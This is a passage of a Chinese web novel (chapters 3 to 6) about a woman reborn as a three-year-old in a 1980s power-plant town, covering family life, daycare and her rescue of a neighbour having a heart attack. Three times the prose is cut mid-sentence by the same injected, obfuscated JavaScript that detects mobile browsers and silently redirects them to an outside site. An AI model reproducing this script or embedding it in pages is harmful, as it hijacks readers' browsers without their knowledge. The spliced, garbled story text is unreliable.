《重生之这次我决定先迈左腿》 3. 第三章 看着熟悉的一切，仿佛老照片被翻新了一样，马丽丽感觉新奇又激动。 “哎嘿嘿嘿。”马丽丽像个真正的小孩那样在每个房间跑来跑去。 小姨徐明红的小房间没什么变动，进门就是靠墙放的床，再过去靠窗就是个木头柜子和书桌，其它东西都放在床底下和柜子上面的木箱子里。 书桌上放了一块正正好的大玻璃板，靠墙是一个小书架，书架和抽屉还空空的，但马丽丽知道，那里很快就会被小说和磁带塞满。 姥姥姥爷的大房间床靠墙放着，另一边就放着大木箱上面堆着冬天用的被子和大衣服。 靠近阳台的窗户下也是一张书桌，抽屉里放着姥姥的针头线脑和姥爷的锤子钳子螺丝刀。旁边还有姥姥的缝纫机。姥姥孙梅是个旧（手）式（工）妇（达）女（人），小时候马丽丽身上穿的衣服脚上穿的布鞋，很多都是姥姥做的，还绣着花呢。 大房间基本没什么隐私，因为得从穿过房间才能去阳台。阳台小小的，一边是可以放东西的水泥架子，另一边栏杆外侧在做了个挺大的水泥槽，以满足大家种菜的需要。可以说很人性化也很实用了。 厨房小小的规划的却很好，都是水泥架也没什么装修，进门对面的水泥台上拉了根电线，可以放电饭煲和电炒锅，比较土洋结合的是旁边还彻了个灶台，马丽丽怀疑上面的大铁锅都是电厂统一配买的，因为马丽丽家也有一口。这会儿孙梅正在用力的刷着铁锅，厨房里柴米油盐酱醋茶都准备齐全，只是中午来不及做饭。 “丽丽，去看你妈回来没。”孙梅找了个借口把马丽丽打发出去。 “还没呢。”这么说着马丽丽跑去客厅，“爸，开风扇。”热死了，没空调还真是不习惯。 马天华刚才在捯饬电视，在老丈人家不干点啥总感觉不自在，听到女儿说，他顺手打开电视，又去开了吊扇。 “过来丽丽。”姥爷徐正义自在的很，他坐在躺椅上，旁边桌上放着酒和炸花生米，他拿起搭在一旁的湿毛巾给马丽丽擦了擦头脸，又从衣服下伸手进去给她擦了擦背，“看你这一身汗。” “姥爷我也要上来。”马丽丽硬是挤上躺椅，过了一会儿又爬起来抓了颗花生米塞嘴里然后又躺下，“凉快。” 徐正义被逗笑了，“瞧这小模样。”他用筷子点了一下酒杯，“想不想尝尝？” 哎嘿嘿，马丽丽正要去尝，徐明惠和徐明红回来了。 “吃饭了吃饭了。”徐明惠把盖子打开，随手又关了电视，“大中午怎么开电视啊？” 马天华：“……”开开怎么了？ 委屈，但不能说。 “妈，吃饭了。”徐明惠和徐明红把饭菜碗筷都摆好了。 食堂的伙食还挺不错，两荤两素，有鱼有肉，徐正义拿出油炸花生米，倒了一盖子，又倒了一杯小酒，这喝的不是美滋滋？ 看到鱼孙梅又忍不住想骂几句，原来前两年厂里想做个小副业，在水坝上用网箱养鱼，改革开放嘛，搞点副业，养出来的鱼还可以给厂里发点福利。 在最开始的时候，谁也不愿意接手这个项目，毕竟车间里的工作一个萝卜一个坑，大家都不会养鱼，万一搞砸了，还想回到原来的工作岗位，那可就不一定能了。 最后，厂里的领导开会决定，把徐正义这个组长调去做养鱼组长，又给他安排了几个刚分配来的愣头青，为了表示重视，又安排了几个纨绔子弟……啊，不是，是领导子女进了养鱼小组。 就这么养了一年半，这鱼还真养的不错，不但能给电厂食堂供货，过年的时候还给职工发了福利，养鱼小组上下自然也得了奖金。 谁知就在养鱼事业干的红红火火的时候，就有人伸手摘了桃子，徐正义被约谈了一次，扭头回车间做了另一个组的小组长。 名义上是说养鱼组工作劳动强度大，徐正义年纪大了有些吃不消，徐正义自己也放出风声，说腹部经常疼痛，可能有肠胃病，腿脚也老是不利索，感觉有风湿了……这就是因为自己身体原因，不能再继续养鱼了，但厂里谁不知道，其实就是见能盈利，有人眼红了呗。 “好了好了，之前的事情不要老在这里说，有什可说的？也没什么可生气的，回去就回去了呗。”徐正义张罗了一口小酒，制止了孙梅的抱怨。 谁能懂啊？徐正义心里头还真没什么可怨的，一开始可能他还不清楚，可是厂领导的小孩在他组里头勤勤恳恳的干了一年半，这还有什么不明白的？ 徐正义就是厂领导抛出来的一个踏脚石，要是这鱼没养好便罢，要负责的也是他这个组长，如今这鱼养的好了，他这组长可不就得功成身退了吗？ 不过这账可不能这么算。 毕竟谁都没有养过鱼，之前为了开好头，养好鱼，厂里面大开绿灯，可是不计成本的往里面投了不少好东西，这才把鱼养好。作为组长，有时候徐正义自己看看账本都觉得心里头发虚。 有道是打江山容易守江山难，这副业还能一直不计成本吗？ 这回好了，好名声有了，鱼也吃了，奖金也拿了，工资也升了一级，烫手山芋也扔出去了，过两年谁还能说鱼场亏本跟他徐正义有什么关系？ 当然这些话可没办法对别人说，徐正义也只能闷在肚子里。 “吃饭吃饭。” 马丽丽被放在小椅子上，孙梅坐在了她对面。 “哎呀，我们丽丽好乖。”孙梅塞了马丽丽一嘴。 “啊”，马丽丽张着嘴等着喂饭，半点不觉得羞耻，她现在三岁，三岁，让姥姥喂饭怎么了。 理直气壮。 “妈，你让她自己吃，又不是不会，以后她在托儿所谁喂啊，你之前在托儿所就不该惯着她。”徐□□说。 “边去，又没让你喂，我们丽丽这么乖，姥姥喜欢喂，对不对呀。”孙梅给了女儿一个白眼。 徐明惠也就是白说一句，见孙梅不理会也没再说。 马丽丽吃了几口，瞌睡虫突然上头，小孩子真的很难控制这个，没几秒钟，马丽丽就含着一口饭倒了下去。 三点多钟马丽丽是被热醒的，她一骨碌爬起来，发现床上有个淡淡的人形。夏日炙热的午后阳光透过窗帘铺满了整个床，马丽丽麻溜的把自己脱的只剩个裤衩。 “妈，妈，我要喝水。”马丽丽跑出房间，她在睡着之后被带回了新家。 新房子就这点不好，因为依山而建，小楼坐东朝西，下午西晒后，直到晚上整个屋子都热呼呼的。 “马丽丽！女孩子不可以光膀子！你为什么脱衣服？”徐明惠气死，她抓住马丽丽，发现她一身汗，又去拧毛巾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921346|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “衣服湿掉了，爸，你们好过分，自己吹吊扇不带我，妈，爸也只穿裤衩！爸，我要喝水。” “就你会说话。”徐明惠把一件小背心兜头就给马丽丽套了上去，“衣服湿了一会不就干了吗。” “嗐，换就换了，穿湿的容易感冒。”马天华用两个杯子倒着水好凉的快一点。 “又不是你洗。”徐□□没好气的说。 马丽丽趁这会瞧瞧家里头，布置果然也和她记忆中不同。客厅里只有一个立柜，立柜前是两个铺着沙发布的单人沙发，中间还夹着一个带架子的木头小茶几，看上去好像是哪里的接待室似的，客厅里少了长沙发、冰箱和电视。 等会儿，她家这会儿没电视？ “我们家没电视！？”马丽丽脱口而出。 “晚上上你姥姥家看去，晚上姥姥家包饺子。”徐明惠忙完一阵坐下来，“给我也喝一口。” 太惨了，本来娱乐就少，还木得电视，要去姥姥家看。马丽丽还想刷一刷早古电视剧的，最近可是在放《上海滩》呢。 80年代的电视剧一般也就十几二十集，却能放大半年，怎么放？虽然每天都有固定的电视剧栏目，但是每天放的电视剧却不是同一部。一部电视剧一个礼拜只有固定的一两天才放，一次放一集，一部电视剧就得等几个月才能看完，每一集都被人拿出来回味回味再回味，可不得经典吗？ 幸好每天都会放不同的电视剧，还有动画片，这个绝对不能错过。 感慨之余马丽丽吨吨吨一口气干了一杯水，“玩水去呀。” “明天去。”徐明惠懒洋洋的翻着一本杂志。 一家人就这么在客厅铺了张席子在吊扇下咸鱼躺等饭吃……虽然炎炎夏日没有空调wifi冰西瓜，可是没有生活压力，不焦虑不用担心秃头的日子真的很舒服，只有这种生活才能心静自然凉啊。 “妈，对面也有一个莉莉，跟我一样大哎。” “哦。” “妈，她都留长头发扎辫子，为啥我是短头发。” “啊？” “她还穿裙子…” “找你姥姥去。” 宝宝无语。 都说爸爸带娃，活着就行，马丽丽一直觉得她老妈也是，把她养的那叫一个糙。还记得曾经的小舅母说过，她对马丽丽小时候印象最深的是，马丽丽像个男孩子一样剪着短头发，腰里用个绳子当裤腰带一勒…… ……马丽丽觉得她不如用绳子把自己勒死算了。≥﹏≤ 到了五点，马丽丽一家子又溜溜哒哒到隔壁楼姥姥家去吃晚饭。 面已经和好了，孙梅正在擀饺子皮。徐正义向来是不做家务的，徐明红一边看电视一边包着饺子，形状惨不忍睹。 徐□□一来立刻洗手加入擀皮行列，马丽丽本来搬了凳子坐在徐明红旁边一起看电视的，然而电视节目一言难尽。 现在总共就俩台，央台和章省台，徐明红就在看央台。 节目的主角是一株兰花，一双出镜的手在摆弄花盆和叶子，背景一个甜美的女声慢悠悠的说：“你们看，在经过了一周的喷洒后，叶片是不是更加肥厚健康了呢？”那双手把肥厚健康的叶子给大家展示了一下，甜美的声音又道：“好了，亲爱的观众朋友们，感谢你们收看这期节目，我们明天，再见～” 4.第四章 在“你们看”的时候，马丽丽就站起来去洗爪子准备包饺子，这么慢悠悠的节目真是考验耐性啊。 徐明红倒是不觉得，但是她看马丽丽挤到她旁边要包饺子很嫌弃。 “别凑热闹，你又不会包。” “谁说我不会，你才包不好，肥墩墩，一下锅就烂了。”马丽丽没胡说，徐明红包的饺子都是尽量多放馅，最后包的有几个皮都破了，她包的又慢，大人原是没指望她包的，徐□□擀了一会儿皮又来包饺子，两手一掐就是一个，一上手就包了一盘，又快又好，徐明红一边看电视一边包，自是没法比，但是马丽丽这么说她可就不服了。 “那你来啊。”徐明红让了让位置。 今天的饺子馅比较复杂，有韭菜的有包菜的还有酸菜的，其实就是把家里剩的叶子菜都剁成了馅。马丽丽站在小椅子才正好能顺手，离她最近的就是包菜馅，她拿了几张饺子皮摆开，然后舀了两勺子馅放在皮上，孙梅只当她在玩也不阻止。马丽丽又用勺子整了整，，然后一半皮盖过来，用勺子柄压紧，饺子边上就印上了花。 “你这还不是很小一个。”徐明红立刻嚷嚷起来。 “我的手本来就小啊。” “你又没有用手捏。” “我捏不动。” “饺子就得捏，你这不是饺子。” 两个人一边斗嘴一边包，一会儿又合好一起去洗了两个一分钱硬币包进饺子看谁运气好。 “下饺子咯。”孙梅烧了一大锅热水，把所有饺子都下了下去，她抄起大笊篱晃了两下防粘底，盖上锅盖，又把灶口坐着的马丽丽提溜开，把她塞进去的大柴抽了两根出来。 “一根就够啦。” “哦。”马丽丽悄悄吐了一下舌，她这不是太久没烧过火好玩吗。 “好了好了，出去吧，看你这一头汗的。”马丽丽，还没在厨房呆几分钟呢，姥姥就开始赶人了。 加了几次凉水，饺子煮好了，孙梅又风风火火的盛起来，配蘸料。 “吃饺子了。”孙梅把煮好的饺子端上桌，老爷们的都是煮的比较完整的，女人们碗里的就有煮烂的，比如徐明红包的那些。 马丽丽也有点傻眼，她碗里自然也是自己包的，可是她包的饺子都扁扁的，她，马三岁，还不能熟练用长筷子，夹不起来。 好在姥姥给她拿了一个大勺子，马丽丽拿着勺子吃她的扁饺子，虽然费点劲，但比徐明红那里可好多了。 吃完饭，徐明惠和马天华带着马丽丽回家洗澡，以前住一起倒是方便，现在得先回自己家洗澡再来看电视了。 马丽丽牵着妈妈的手走出门，余光看见姥姥家隔壁也住了人，门下透出光来，她脑子里闪过一个想法，啊咧，隔壁有人吗？她怎么记得姥姥家隔壁一直没人？ 电视剧九点开始，马丽丽回家焦急的催妈妈烧了水，第一个洗澡，可是她真是高估了自己，洗完澡还吹着风扇透着凉呢，马丽丽就不由自主的睡着了。 马天华好笑的把马丽丽抱回床上，心中充满慈爱，他出来对徐□□说：“我们也买一个电视吧，总去你爸妈那儿看不方便。” 徐□□洗着衣服头也不抬的说：“现在哪有钱啊？过两年再说吧。咱家要买的东西多着呢，明天逢墟你去不去？” “我不去。” “那行，我跟妈去，你明早上到食堂买早饭，记得买豆浆。如果我没回来你叫丽丽起床。” 马丽丽第二天起来发现自己以一个奇怪的姿势躺在床上，口水把枕巾都浸湿了。 怎么回事儿？她小时候睡姿这么差的吗？ 马丽丽擦擦嘴角，抓了抓鸟窝头，“妈？妈！”没人应声，她光着脚走出来，“爸？”也没人。 怎么回事！ 马丽丽赶紧跑回床上趴着窗户向外看。呼…太好了，路上有人，活的，她还认识，看来她并没有再次穿越到什么奇怪的地方呢。 确定了这个后马丽丽又爬下床，搬了小椅子去厨房的水池洗漱。 打开水笼头，先放一会儿水，水笼头里的水都是山上直接汲取的山泉水，又清又甜，就是常常会带有些奇怪的东西，比如树叶子小木棍之类的。 十八岁之前马丽丽都不明白为什么有人说白开水还有味道，直到她离开幸福小镇后才知道，白开水，真的有味道。 三岁的马丽丽把大牙刷塞进自己嘴里，小心又仔细的把牙齿刷干净。上一世她从小牙齿就不好，为此吃了不少苦头，幸福小镇没有牙医，如果牙疼还得去县里，所以现在她可注意了。 刷完牙，随便擦了擦脸，马丽丽觉得有点无聊。家里怎么连个钟都没有，也不知道几点了，马丽丽把每个房间都逛了一遍，很多东西都没收拾好，还在包裹里呢。 大门没关，马丽丽没钥匙，也不敢出去，万一风把门吹上了……以前她小时候还真发生过好几次这种事。至于后面是怎么解决的？嗯，其实二楼并不算高呢。 “你就起来了？刷好牙了吗？来吃饭。”马天华一手提着个大搪瓷锅，另一手端着一个大搪瓷杯回来了。 马丽丽：“这啥？” 马天华打开盖，锅里有包子馒头花卷，一样两个，杯子里是豆浆，都还冒着热气。 “赶紧吃，等会儿你还要上学呢，我今天也要上班。”马天华说。 跪在椅子上抓了个包子在啃的马丽丽抬头，“哈？”她才三岁上什么学？ 事实证明，三岁的小盆友已经要上学了——托儿所。办托儿所的目的就是为了方便电厂职工，所以托儿所并没有寒暑假呢。 于是七点半的时候，马丽丽同学被她爸交接到托儿所苏老师手里。 “马丽丽，跟爸爸说再见。”苏老师是托儿所所长，之前孙梅在托儿所上班的时候和她比较合的来，也是从小就带着马丽丽的，她小女儿和徐明红又是同学，两家关系一直很亲密。 “苏老师好，爸爸再见。”马丽丽一次性说完。 马天华：“麻烦你了，苏老师。” 苏老师：“不会不会，上班去吧。” 三岁的小盆友上的是小班，小班上什么课呢？ “鼻子鼻子，眼睛！眼睛眼睛，耳朵！耳朵耳朵，嘴巴！” 马丽丽生无可恋的跟着节奏点五官，四年，她还要在托儿所呆四年，而且还要在小班呆一年……崩溃。 “丽丽，你好厉害噢，刚才你都没错过。”坐在马丽丽身边的一个小男孩满脸崇拜。马丽丽想了想才想起来他是谁，李明君，他有个姐姐现在读小学。 李明君是小班最可爱的男孩子，圆圆的脸蛋红红的嘴，睫毛长长，眼睛圆圆，平常人眼睛都带点棕色，但李明君的瞳色却不是平常人那种琥珀色，而是黑色，就像一篇课文里的话，“白水银里头养着两丸黑水银”。 马丽丽忍不住摸了摸人家男孩子的脸，啊～好滑，好嫩，跟摸自己的脸感觉完全不一样。 李明君早就习惯别人对他的脸蛋做啥了，他更想知道马丽丽的诀窍。 “其实很好记啊”，马丽丽一边比划一边说，“两个眼睛在脸上边，鼻子一个竖在脸中间，嘴巴张开就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927139|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露了牙齿，耳朵两片挂在脸两边。”说着说着就唱了起来。 李小盆友很给面子的鼓掌，然后跟着唱，不一会儿这首小曲子就变成了全场大合唱，老师也停下原本的教学笑咪咪的跟着大家一起唱起来。 到中午的时候，马丽丽发现整个托儿所都在哼唱这个曲子，把她给整无语了。 托儿所的课是上四十五分钟休息十五分钟，八点开始，上午四节课后，十二点就吃中饭，下午一点午睡到三点，下午没课就是自己玩，如果有家长来接都可以回家了，不过大部分都是五点左右才来。 上午四节课小班不需要学什么知识，老师会教一些常识性的东西，比如认识五官四肢、唱儿歌、学穿衣服袜子鞋子等等，这是文化课。一节文化课之后就是游戏课，由老师带着玩集体游戏。 总之都是为了消耗人类幼崽们过于旺盛的精力。 终于到了中午的吃饭环节，小盆友们无论大班小班都被老师带去洗手，然后排队去饭堂坐好。 老师们分工发碗装饭装菜，只有两个菜，包菜，和另一样蔬菜，通常要看这个季节什么菜便宜，但包菜却是一年四季都有的。吃完饭后才有肉汤。 曾经的马丽丽在托儿所吃了三年包菜，之后差不多三十年都对这种蔬菜有心理阴影。 但现在马丽丽觉得自己已经可以很淡然的看待这碗包菜地狱了——虽然但是，真难吃啊，没油没盐还软趴趴的，难怪大家都觉的酱油拌饭是托儿所至高美味。 小盆友们对付自己不喜欢的饭菜总是很有想法，有暗搓搓把菜扔桌上扔地上的，有偷偷把菜压在饭下觉得老师发现不了的，有把包菜叶子部分啃掉留下叶梗说咬不动的，还有比较聪明把包菜嚼烂才吐掉说咬不烂的。 马丽丽做为一个心理上的大人，当然不会干这么幼稚的事，只是她也忍不住在午睡的时候小声问苏老师：“苏老师。” “怎么啦，马丽丽？”苏老师给马丽丽整了整小毯子。 “可以不吃包菜吗？” “小朋友要吃蔬菜，不可以不吃。” “可以换一个蔬菜吗？包菜真的好难吃。” 苏老师明白过来，哭笑不得，托儿所经费有限，所以买的都是便宜量大的菜。 “这个我会跟廖阿姨商量的。”苏老师没有敷衍马丽丽，廖阿姨就是饭堂阿姨，也是职工家属，在托儿所帮工。 午睡说有两小时，但要一群小盆友老老实实安安静静的躺下不是件容易的事。 终于都睡着了，大概一个小时后，所有小盆友又被叫起，好几个小盆友光着脚跳下床跑来跑去，还有在相邻的床上跳来跳去的。 两个老师关上门，一边呵斥一边一个一个抓着小盆友给他们穿鞋子，穿好一个赶出去一个。 马丽丽光看就替两个老师感到累，她默默的爬下床，穿好小布鞋，又把自己的小毯子叠好放在枕头上，然后又帮睡在旁边的小盆友穿鞋子叠毯子。 “丽丽，你好厉害呀。”马丽丽的小班同学洪霞瞪着眼睛看了半天，也笨拙的学马丽丽的样子穿起了鞋子，不过她不会叠毯子，还是马丽丽帮她叠的。 “哎呀，马丽丽，这都是你叠的吗？你自己穿的鞋吗？好棒好聪明。”一个老师十分做作的声音表扬了马丽丽，然后把她赶了出去。 外面比房间里热，马丽丽站在门口吹风，几个午睡室不时三三两两跑出几个小朋友，有的跑去食堂喝水，有的去水池边擦脸顺便玩水，长头发的小姑娘们披着头发到过堂去排队，那里有一个老师拿着梳子给她们梳小辫。 5.第五章 待玩了一身汗后，老师又把小朋友们聚集起来，洗手擦脸排排坐，之后两个年龄最大个子最高的大班孩子提了一个桶进来，小朋友们都激动的坐不住了。 每年只有这个季节托儿所的小朋友可以每周吃两次点心，就是小冰棒。冰棒是电厂的冰棒房做的自卖品，最便宜的一分钱一根的那种，不过幼儿园有冰棒票，老师指定两个大孩子带桶去冰棒厂一手交票一手交冰棒。 老师把这当成一个体力活，殊不知在孩子心中那可是羡慕的不行的差事：可以离开托儿所，还是老师拜托的。 哎，反正上辈子马丽丽就从没轮到过这种好事。 马丽丽小心的拿着冰棒，沉甸甸的还有些坠手，舔一舔，其实就是白水冰棍里头加了点甜味，但大家都吃的很专心，毕竟不小心掉地上的话，就得等下周才有的吃了。 除了年龄太小的和肠胃确实不好的，托儿所上下都分到了一根甜冰棍，现在也没有啥小孩子不能吃冰棍的说法，有的吃就不错了。 等吃完冰棍又擦过手脸，就差不多陆续有人来接孩子回家了。电厂六点下班，马丽丽觉得四点半她妈应该能来接她，但没想到徐明惠五点半才来，可把马丽丽给急的。 “你怎么这么晚啊，你不是放暑假呢吗？”马丽丽气呼呼的问。 徐明惠能说她在家看杂志完全忘了这回事吗？她慢悠悠的说：“放暑假是学生，老师也忙啊，而且我还做晚饭呢。” 马丽丽一脸惊喜，想当年，哦，就是上辈子，徐明惠退休在家的时候，每天只有中午炒菜做饭，晚上就是剩菜剩饭，还有剩的话就是第二天的早饭…果然年轻就是不一样啊！ 完全没有不一样！马丽丽死鱼眼看着桌子上三个剩菜，“你不是说做了晚饭吗？” “对啊。”徐明惠指了指电饭煲，行吧，饭是现煮的，菜是剩下的。 马丽丽无语，她也太惨了吧，“明天我要姥姥来接我！” “好啊。”徐明惠巴不得，省事。 第二天五点，果然是孙梅来接的马丽丽，马丽丽在姥姥家呆到天黑才回家，她走到门口，发现隔壁大门也开着，她好奇的探过头去。 客厅除了一张桌子两把椅子啥都没有，一个老头穿着背心裤衩一手摇着把大蒲扇在看书。 老头突然一个抬头，跟马丽丽看了个对眼，马丽丽吓的扭头就跑。 叽里咕噜滚下楼来，马丽丽抓抓头，啊，她跑个什么劲哦？不过这老头谁啊？她完全没印象，记忆中姥姥家隔壁一直空着没有住人，这在住房靠分的年代还挺少见的。马丽丽记得以前问过妈妈，徐□□只含糊说也住过几户人，可是都出了点事，结果最后没人敢住。 所以这老头后来出事了？马丽丽突然好奇，会出啥事啊？ 马丽丽此时是万万没有想到，后来她竟然还直面了老头出事现场。 事情发生的那天早上，马丽丽还像往常一样被送到托儿所，路上徐明惠还跟马丽丽商量，她已经是三岁的大孩子了，早上是不是能一个人去托儿所？反正也就五分钟路，她可以从阳台目送马丽丽去托儿所。 马丽丽超无语der，就五分钟你都懒的送，是亲妈吗？咱俩可就早晚能见上面啊，你这还嫌太久了？ 这事儿让马丽丽挺郁闷，所以她决定离所出走去姥姥家看电视。 马丽丽教小班同学待会儿上课老师问起就说她回家去了，然后她自己打开托儿所大门就这么走了。 现在正是上班时间，家属区的路上一个人都没有，马丽丽遛达着过了小桥又下了小坡，还在公用水头洗了洗手，这才慢慢爬上小楼。 刚爬到二楼拐角的地方，马丽丽突然听到上面“咚”一声巨响，好像有人摔了。糟糕，不会是姥姥摔跤了吧！马丽丽急忙提着小短腿向上跑到门口去推门。 门上锁了，马丽丽一时有些奇怪，姥姥在家从来不锁门，难道家里没人？那…… 没等马丽丽想明白呢，隔壁传来了些许声响，马丽丽疑惑的过去轻轻推了推门，门没关，一下就推开了条缝。 马丽丽一眼就看到上次见过的老头蜷缩着倒在地上，一个牛皮纸信封被扔在一旁，里面文件撒了一地。 “啊！”马丽丽惊叫了一声跑了进去，只见老头满头大汗，一只手捂着胸口，另一只手颤颤巍巍向上半举。马丽丽顺着向上看，有个棕色小瓶竖着倒在桌子上没有滚下来，她跳起来一把抓住小瓶，定睛一看，小瓶上写“硝酸甘油片”。 这不是治心脏病的吗！ 来不及多想，马丽丽立刻打开瓶子倒出一片，她犹豫了一下，又倒了一片出来。 老头这会儿都开始翻白眼了，马丽丽用力拍了拍他的脸，“喂，喂，张嘴啊。” 尖锐的童音让老头意识恢复了一些，他微微张嘴，马丽丽也顾不上其他，直接伸进手指把药塞到老头舌头下。还好她手指细小，不怎么困难。 在衣服上擦了擦口水，马丽丽使劲想把老头扶起来，无奈三岁的力气实在不够用，她废了半天劲也没搬动。 好在几分钟后老头缓了过来，他自己撑了几次，最后在马丽丽的帮助下慢慢坐了起来。两人都没力气了，只好让老头先坐地上，马丽丽也找不着什么家具让他靠，这客厅实在空荡。 “过来，靠墙坐。”马丽丽用力想拖着老头过去，老头没力气，又说不出话来，只摇了摇手，马丽丽想了想，拖了一张椅子过来，自己顶在椅子的另一边。 “我给你吃了俩药，你还要吃一个吗？”马丽丽问。 老头挥挥手，他缓过劲来轻声问马丽丽：“小朋友，你怎么知道这个药能救我？你不怕搞错了？” 你刚才都生死一线了还问这个干嘛？马丽丽一昂头，“我爸爸是马医生啊。” 老头这会脑子有点糊，好半天才想明白，马医生就是隔壁的女婿，所以这小姑娘就是隔壁的外孙女，难怪上次看见她在门口探头探脑的。不过就算这样，这个小姑娘竟然能知道怎么用硝酸甘油片这种药，还是挺奇怪的。 马丽丽不知道老头的疑惑，她还向老头推荐呢，“爷爷，你今天好危险，你是心脏病吧？今天药吃了吗？昨天前天吃了吗？我姥姥也心脏不好，她有时候会吃葫芦瓶的药来的，你买了吗？” 原来如此，老头觉得自己搞清楚了，葫芦瓶应该是速效救心丸，看来这小姑娘是平时看她姥姥吃药学会的。 “来，扶我一把。”老头伸手，马丽丽送上肩膀让他撑着站起来。 “嘿。”马丽丽擦一把汗，“你好重。” “你叫什么名字？”老头坐上椅子，抬抬手，“帮我捡一下。” “我叫马丽丽，爷爷，你叫什么名字呀？”马丽丽把地上的纸一一捡起来。 “这么说没礼貌，你应该说，请问你尊姓大名？” 这老头，马丽丽背着身翻了个白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930704|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼，但还是重复了一遍。 “免尊姓孙，我叫孙振华。”老头很认真的回答。 马丽丽故作天真的问：“尊姓大名干嘛又要免尊，免了不就是‘你叫啥’吗？” 老头一时无语，马丽丽嘿嘿一笑，又说：“你跟我姥姥一个姓耶，我姥姥也是姓孙。”突然她叫了一声，“啊，这个我知道，是毛子语。”她指着文件上的一句话给孙老头看，孙振华眯着眼睛看过去，原来是俄语，他好笑的说：“什么毛子语，这是俄语。” “我知道，鹅国嘛，不就是毛子。”马丽丽把文件整整好递给孙振华。 “你这个说法不对。”孙振华正想跟马丽丽认真解释一下，马丽丽突然又说：“爷爷你家有水吗？我想喝水。” “呃，厨房好像……”孙振华还没说完，马丽丽就跑进了厨房，很快她又回来了：“啥都没有，你家可真空荡啊。哎，你要不要躺下休息啊，我扶你去房间吧？” 这小姑娘真是…… 真是什么，孙老头没继续想。 同在一个厂上班大家相互之间都挺热情，但孙老头挺不习惯这种热情，换成一个小姑娘，老头倒是适应的很，大概是刚刚被她救了一命，让老头对马丽丽有一种亲密感。 如果马丽丽知道老头这么想，大概就会告诉他，你这是社恐啊。 孙老头顺着马丽丽的力气慢慢站起来，马丽丽抓着他的手故意唠唠叨叨：“身体不好也不检检，跟我姥爷一样，老头子就是喜欢给别人添麻烦，自己还觉得挺好。” 孙老头都给气乐了，这徐正义怎么回事，把外孙女带的跟个小老太婆似的唠里唠叨的，还老头子，没礼貌。 “待会让你家大人帮我把资料送到厂长办公室去，就那个信封。”孙振华打断马丽丽说。 “啊？哦，给谁呀？” “史厂长，记住没，别丢了。” “知道啦，史厂长。” 马丽丽心想，哦豁，还是得回家找妈，她跑出托儿所的事瞒不住了。 孙振华躺在床上很快就睡着了。马丽丽呼了口气，在孙振华面前装小孩有点压力山大，他疑问太多。 等会儿，马丽丽又突然想到一个问题，重生前她还是真三岁的时候可没有逃过学，如果那时候孙振华也突发了心脏病的话……她现在是不是改变了历史？ 嘛，算了，就当走了另一条时间线，不懂或是没看到就算了，刚才那样她总不能见死不救吧，那她这辈子估计也会陷在这事里头走不出去的。 放松下来马丽丽有心思打量了一下房间，房间里的家具也很简单，东西有些乱，一看就是没有女主人的样子，唉，老头也是可怜。 马丽丽认命的去客厅把信封从桌上扫下来，能让她送估计也不是啥秘密文件，她没啥心理负担，只是走的时候没关门，还拖来椅子把门顶住，累的她一头汗。 回到家的马丽丽把徐明惠吓了一跳，听她说姥姥家隔壁的孙爷爷心脏病发更是又吓了一跳。 徐明惠赶紧抓着马丽丽去了孙振华家，见老头睡着了她还悄摸伸手指去老头鼻子底下，感觉有气这才放心下来。 徐明惠有姥姥家钥匙，她急急的回家去装了一缸子水放在孙振华床边，找不着别人于是又叫马丽丽坐在一旁等她回来，她自己则匆匆忙忙出去了。 马丽丽无聊的晃着腿，大概十来分钟后，她爸马天华提着一个出诊箱进来了。 6.第六章 马天华心说，好家伙，这主人睡着了，门也不锁还让个三岁小孩看护，真是心大。 至于谁心大，那就不好说了。 他轻轻瞪了马丽丽一眼，把她赶出去，然后轻手轻脚的给孙振华检查了一番。 心率不齐，心跳不规律，呼吸有些急促，应该是突发心脏病，具体是什么心脏病他不知道。硝酸甘油片只能缓解，不能治本，最好是能去市里仔细检查一下，他们这小地方可不行。 心中有数后马天华写了个单子，又轻手轻脚的收好东西出来，轻轻的掩好房门，转头开始跟马丽丽算帐。 “马丽丽，你怎么随便给别人吃药，你知道这是什么药吗你就直接喂？” “啊？可是，你上次不是说过，心脏病发要赶紧吃药吗？葫芦瓶十个，棕瓶子一个，放舌头下，我看他严重放了俩，没关系吧？” “我什么时候……”马天华一想，他还真说过，因为丈母娘有冠心病，他给家里每个人都培训了一下急救知识，不过硝酸甘油片是紧俏药，他一直没买着，说也是以防万一，没想到马丽丽这个旁听生反倒最先上手。 “咳，那也不行，你怎么知道这就是硝，是我说过的药，你又不认字，万一吃错了怎么办？” 马丽丽反驳不能，她总不能说她不是文盲吧？ “那怎么办？” “以后遇到这种情况应该赶紧找大人，知道吗？” “可是姥姥不在家，小姨也不在，姥爷上班了，家里没人，门锁了。” “…那就去别家，上下楼。” 